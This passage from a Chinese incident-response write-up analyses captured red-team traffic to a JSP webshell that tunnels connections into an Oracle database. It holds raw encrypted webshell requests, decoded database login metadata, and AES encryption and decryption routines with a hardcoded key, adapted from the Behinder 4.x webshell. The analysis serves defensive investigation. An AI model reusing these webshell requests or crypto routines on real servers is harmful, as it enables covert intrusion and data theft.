当然因为这个函数是用来读取socket中数据的,因此我们这里也是回显报错 ```php int bytesRead = socketChannel.read(buf); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ce92172b8b1786d23248f7a7d28718b7ff046626.png) 接下来换成post数据 ```php POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 224 CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C= ``` 切分后进入这个函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a10377f1c42a8f94a951f298dcddf60b49f94737.png) `CtWP7tBSKiDnysT9hP9pa` 应该就是读取我们的数据 我们将值转为hex输出出来看看 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-18227dbd552b5d4357fa96c9987533eddbbfb46a.png) ```php 00a7000006000000000003760101010401010101050101044854594b010d0d415554485f5445524d494e414c010707756e6b6e6f776e00010f0f415554485f50524f4752414d5f4e4d011515444265617665722032323f313f32203f204d61696e00010c0c415554485f4d414348494e45010f0f4445534b544f502d3746424e35514c00010808415554485f5049440104043132333400010808415554485f5349440101013100 ``` 放入winhex打开 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2c1113cc36a759cb9e1e4dc88f524afcef6d63df.png) 在这段中,可以发现是连接oracle,同时使用的是DBeaver数据库管理软件, 同时记录了我们连接的机器名字(一阵后怕,这个数据库连接工具害人不浅) ```php AUTH_TERMINALunknown AUTH_PROGRAM_NM DBeaver 22?1?2 ? Main AUTH_MACHINE DESKTOP-7FBN5QL AUTH_PID 1234 AUTH_SID 1 ``` 已经到我们的盲区了,不过可以猜测是socket和oracle数据库的交互,参考如下博文 [https://blog.csdn.net/weixin\_34112181/article/details/92664231](https://blog.csdn.net/weixin_34112181/article/details/92664231) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7b60b0ee8351c6ca0ba7e7ef13f1a0b59309da7b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c41fc1666174777d8e16a3389e2903bdbcca01f3.png) 我们可以搜索到类似的案例 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bb14bec28bd40af14d1b6cc19a80345cb4bd3cc8.png) 跟随流量,我们继续前进 ```php POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 28 CE1CCCkCCCCCCC1GCKg0C+CEC+== GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQ0FX Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-93ce7bfd5867b49dd6904f2b9b537d4513a5c6fd.png) `lYUNaGnRS2eaUhe pfmcKQ0FX` 该函数的作用就是关闭连接 接下来没有什么独特的流量,重复连接 1521业务 ```php GET /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 339 CyCCCCgCCCCEyCg6XggRCyWW5ARCCCCECshCHRCCCC0ER+CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCCCQCCCCCCCC08gHltXao2+lg2y5JLh+aHgaol5aTLhaUFylgSX5LKSlgt+s98Q53tay5gKwJg3c9Bj1jB3t9ohagS9lXLit5Qis9oh+LSc5olXlUSg+lHEy98X9a+SsUE95Ln9+aLSHgF2kuY2zPCj1JMiyTQRyjEtYuH8YOULk9oh9gS5lX3Zuv4okqtZujohlcUaJLis9ohaLl9lo2XHlSc+a3Uyr8Lxr/VkvHPs9o4 ``` 流量包内容进行了一些修改,防止泄密 这个流量包解密出来是去连接数据库,使用账号密码 ```php (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.0)(PORT=1521))(CONNECT_DATA=(CID=(PROGRAM=DBeaver 22?1?2 ? Metadata)(HOST=__jdbc__)(USER=1))(SERVICE_NAME=xxxxx))) ``` 紧接着他去读取数据 ```php User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:56 GMT 2c C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC= 0 ``` 我们尝试对他数据进行解密,我们把他密文放在读取之中,让他自己在读取一遍(借鸡下蛋) ```php POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 46 C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC= ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-20c209e398cbc14cb310e9988c4c78e5a60f2b8a.png) 得到一些数据,猜测是 连接数据库的返回信息 ```php IBMPC/WIN_NT64-9.1.0 ``` 在一众的数据解密中,发现了oracle的版本信息,见下 ```php GET /ncupload/windowsConfig.jsp HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:40 GMT 124 Ct6CCCkCCCCCCCgOCg205lEXw3nF52SclXkLw5oV19BKCU+XC+kCC+E9CKU9CKgC0qkXaR1EaRtqCKU5C3QXClQXaK1ECO+CCCERC9+yE+61CKK1E++UX+kFEKRUE+aUE+MUE+aUE+hUE+aUE++UERzQ00tIQLzQg91QgaOKHK0XC3+XYK1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCFKkEC+gtC+gOC+gEC+gECuWWCKhXCKgCZKUWWKgUC+gWC+1OCCgXC+z0C+CEOCCX 0 ``` 有一份加密比较独特,怀疑是oracle连接之后的查询 ```php POST /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 3120 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 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 27 Jul 2022 10:18:40 GMT GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:41 GMT 2ac 09LCCCkCCCCCCCQCC+CECCgCCCC0CCQC0RCCCCRC0CCECCCCXCC1CChCCCCuCEzCC+CCCERCOCCECCCCO+CYCCgCCCCfCEhCC+CCCE6COKCECCCCICCzCCgCCCCnCELCC+CCCEBCIRCECCCCIKCZCCgCCCCRC0CCC+CCC0gCQ+CECCCC0RCsCCgCCCCwCC6CC+CCC0RCsCCECCCCs+C4CCgCCCE3CIaCC+CCCIRCxCCECCCEQRgPCCgCCCgJC91CC+CCC9+EFCCECCCEF+g2CCgCCCgqC9kCC+CCC9hEsRCECCCEsKgeCCgCCCg6C9KCC+CCC9LEw+CECCCEwRgVCCgCCCgDC9MCC+CCC5CE1CCECCCE1+giCCgCCCgjC5QCC+CCC51E1KCECCCEtCgLCCgCCCg3C5aCC+CCC5kEtRCECCCEtKg7CCgCCCgBC5RCC+CCC5oEc+CECCCEcKgGCCgCCCgMC5KCC+CCC5LEy+CECCCEyRgNCCgCCCgWC5MCC+CCCaCE+CCECCCE++UECCgCCCU0CaQCC+CCCa1E+KCECCCEHKUICCgCCCUQCaRCC+CCCaoE9+CECCCE9KUwCCgCCCUtCaLCC+CCCaBE5RCECCCE5KUyCCgCCCU+ClCCC+CCClgEa+CECCCEaRU9CCgCCCU5Cl1CC+CCCl+ElCCE 2ac CCCEl+UlCCgCCCUrClkCC+CCClzElKCECCCErCUkCCgCCCUYCloCC+CCClhErRCECCCEuCUzCCgCCCUnClLCC+CCCrQEkRCECCCEkKUJCCgCCCUbCrzCC+CCCr6EfKCECCCEZCUMCCgCCCUSCuLCC+CCCuBEZRCECCCEZKUWCCgCCCOCCkCCC+CCCkgER+CECCCERRO0CCgCCCOXCk1CC+CCCk+E8CCECCCE8+OUCCgCCCOOCkkCC+CCCkzE8KCECCCEP+OFCCgCCCOsCkhCC+CCCk6EPKCECCCEJCO1CCgCCCOtCkLCC+CCCkBEJRCECCCEJKOyCCgCCCO+CYCCC+CCCYgEo+CECCCE2COaCCgCCCOlCYaCC+CCCYkE2RCECCCE2KOuCCgCCCOnCYLCC+CCCYBEbRCECCCEbKOZCCgCCCORCfCCC+CCCfgEh+CECCCEhROPCCgCCCOJCf1CC+CCCf+E4CCECCCE4+O2CCgCCCOqCfkCC+CCCfzE4KCECCCEpCOhCCgCCCO4CfoCC+CCCfhEpRCECCCEpKOeCCgCCCO/CfLCC+CCCfBEeRCECCCEeKODCCgCCCOKCdCCC+CCCdgE6+CECCCEK+IECCgCCCI0CzQCC+CCCzkEiRCECCCEiKIICCgCCCIQCzRCC+CCCzoEj+CECCCEjRIsCCgC 2ac CCIwCz6CC+CCCzKETCCECCCET+ItCCgCCCIcCzBCC+CCCzMETKCECCCELRI9CCgCCCI5Cn1CC+CCCn+E3CCECCCE3+IlCCgCCCIrCnkCC+CCCnzE3KCECCCEvCIkCCgCCCIYCnoCC+CCCnhEvRCECCCEvKIdCCgCCCIzCnKCC+CCCnLE7+CECCCE7RIxCCgCCCIZCnMCC+CCCxCEBCCECCCEB+I8CCgCCCIPCxQCC+CCCx1EBKCECCCEACIoCCgCCCI2CxaCC+CCCxkEARCECCCEmRIpCCgCCCIeCx6CC+CCCxKEGCCECCCEG+I/CCgCCCIVCxBCC+CCCxMEGKCECCCEMCIKCCgCCCIjCZQCC+CCCZ1EMKCECCCESCILCCgCCCI3CZaCC+CCCZkESRCECCCEW+ISCCgCCCINCZBCC+CCCRg0C+CECCC0CRQ0CCgCCCQgCR+CC+CCCRa0E+CECCC0ERQOCCgCCCQICRzCC+CCCRR00CCECCC00+QFCCgCCCQsCRhCC+CCCR600KCECCC0XCQ1CCgCCCQtCRLCC+CCCRB0XRCECCC0XKQyCCgCCCQ+C8CCC+CCC8g0g+CECCC0gRQ9CCgCCCQ5C81CC+CCC8+0UCCECCC0U+QlCCgCCCQrC8kCC+CCC8z0UKCECCC0OCQkCCgCCCQYC8oCC+CC 2ac C8h0ORCECCC0OKQdCCgCCCQzC8KCC+CCC8L0I+CECCC0IRQxCCgCCCQZC8MCC+CCCPCCCCQ8CCC0QRCCCP1CCCQoCCC0F+CCCPkCCCQbCCC0sCCCCPoCCCQpCCC0sKCCCPKCCCQ/CCC0wRCCCPMCCCQKCJCCC+CCCJgCCCQjCCC01KQTCCgCCCQLCJ+CC+CCCJa0t+CECCC0tRCCCJzCCCQBCCC0c+CCCJhCCCQGCCC0yCQMCCgCCCQSCJLCC+CCCJB0yRCECCC0yKQWCCgCCCFCCoCCC+CCCogCCCF0CoQCC+CCCo10+KCECCC0HCFgCCgCCCFUCoaCC+CCCok0HRCECCC0HKFICCgCCCFQCoRCC+CCCoo09+CECCCCCKC0CChCCCCgCCQC0RCCCCaCC+CECCCCERC0CChCCCCICCQC0RCCCCoCC+CECCCCX+CCCCBCCCCyCEzCC+CCCECCCCCHCCCCgRCCCE1CCCCaCCCCU+CCCEkCCCCbCIRCC+CCCXhCCCEgCCQC0RCCCgaCCCEOCCCC9RCCCgKCCCEdCCQC0RCCCUBCC+CECCCCuKCuCCgCCCERCOCCC+CCCOgCkCCECCCCYCEoCCgCCCE2COaCC+CCCOkCYRCECCCCfCCCCOoCCCEpCOhCC+CCCOKCd+CECCCCd+E/CCgCCCEVCOMC 18c C+CCCOMCdKCECCCCzCEKCCgCCCEiCIgCC+CCCIQCzRCECCCCzKETCCgCCCELCOkCC+CCCIkCCCE7CCCCx+CCCIhCCCEGCCCCPCCCCFQCoRCECCCCoKCCCFRCCRCsCCCCq+C0CChCCC0fCCQC0RCCCF6CC+CECCCCbCC1CChCCC06CCQC0RCCCwQC6RCECCCC6K0TCCgCCC0LCw+CC+CCCwaC/+CECCCC/R0vCCgCCC07CwzCC+CCCwRCXCCsCCCCV+CCCwhCCC0GCCCCDCCCCwLCCC0NCCCCDKCCC1CCCCXXCICCC+CCC1+Cz+CECCCCi+EjCCgCCCX+CtCCC+CCCtgCCCXbCczCC+CCCcRCAKCECCCCm+X4CCgCCCXiCOLCC+CCCR1CCCCC 0 ``` 这份流量提供给大家,小子不才,对该流量解密始终没有头绪 在后续流量中呢,有一些可以解密的, 包括执行oracle之后,有一些时间回显 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4ce116b36f27f1e26e5774b716031e40cfaf8d50.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-872e8433b6dd91a66e9ad0c4ba7461adb3ed091d.png) 如下是该回显的发送流量 ```php AUTH_PASSWORD@@B6 AUTH_TERMINALunknown AUTH_SESSKEY``29342770E5CAUTH_PROGRAM_NMDBeaver 22?1?2 ? Metadata AUTH_MACHINEDESKTOP-7FBN5QL AUTH_ALTER_SESSIONddALTER SESSION SET TIME_ZONE='Asia/Shanghai' NLS_LANGUAGE='SIMPLIFIED CHINESE' NLS_TERRITORY='CHINA' ``` 最后在读取了我们22年至21年的数据之后,我们将服务器进行了隔离,整个攻击也戛然而止 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-337447f2f40eaf89fe59836fc7f58048377a415e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6dc5582e20e74a717f9ea755a28f0db4ab501518.png) ### 0x04 Behinder 4.x 我们根据第一篇,第二篇他木马的样本 修改了冰蝎4.0系列的加解密 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7f32f57165701d6add7df4f36ba31b98a4261514.png) 加密 ```php private String parseByte2HexStr(String buf) throws Exception { StringBuilder sb = new StringBuilder(); char[] enChar = buf.toCharArray(); for (int i=0; i<enChar.length; i++) { char c = enChar[i]; sb.append(Integer.toHexString(c)); } return sb.toString(); } private byte[] base64Decode(String str) { byte[] value = null; try { Class base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()}); } catch (Exception exception) { try { Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str}); } catch (Exception exception1) { } } return value; } private byte[] Encrypt(byte[] data) throws Exception { javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="), "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; String x; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); x = parseByte2HexStr(new String(encrypted)); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("\n", "").replace("\r", ""); x = parseByte2HexStr(result); } return x.getBytes(); } ``` 解密 ```php private byte[] base64Decode(String str) { byte[] value = null; try { Class base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()}); } catch (Exception exception) { try { Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str}); } catch (Exception exception1) {} } return value; } private byte[] Decrypt(byte[] data) throws Exception { String contentString = new String(data, "UTF-8"); StringBuilder deStr = new StringBuilder(); for(int i=0; i < contentString.length(); i=i+2){ String str2 = contentString.substring(i,i+2); char char2 = (char)(Integer.parseInt(str2, 16)); deStr.append(char2); } javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(javax.crypto.Cipher.DECRYPT_MODE, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="),"AES")); return c.doFinal(base64Decode(deStr.toString())); } ``` 0x05 总结 ======= 在这次骑马与砍杀之中,以我们的完败作为结束,既在意料之外,又在情理之中。 攻防博弈本是逆天而行,面对潮水般的攻击,需要针对性的对每一份流量进行解密,又谈何容易。 这次攻击队的攻击速度,攻击质量都刷新了我对rt的概念,用这份分析来告慰数据的在天之灵(QAQ)。 0x06 致谢 ======= 以下师傅不分先后,非常感谢他们能在百忙之中,给菜弟弟提供帮助 - f1ashine - h0ld1rs - 湮灭
发表于 2022-09-02 09:42:00
阅读 ( 6667 )
分类:
应急响应
0 推荐
收藏
1 条评论
Carnival
2022-09-08 11:20
马里好像没有找到命令执行啥的,好像是定制的proxy类型的
请先
登录
后评论
请先
登录
后评论
Wumingzhilian
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!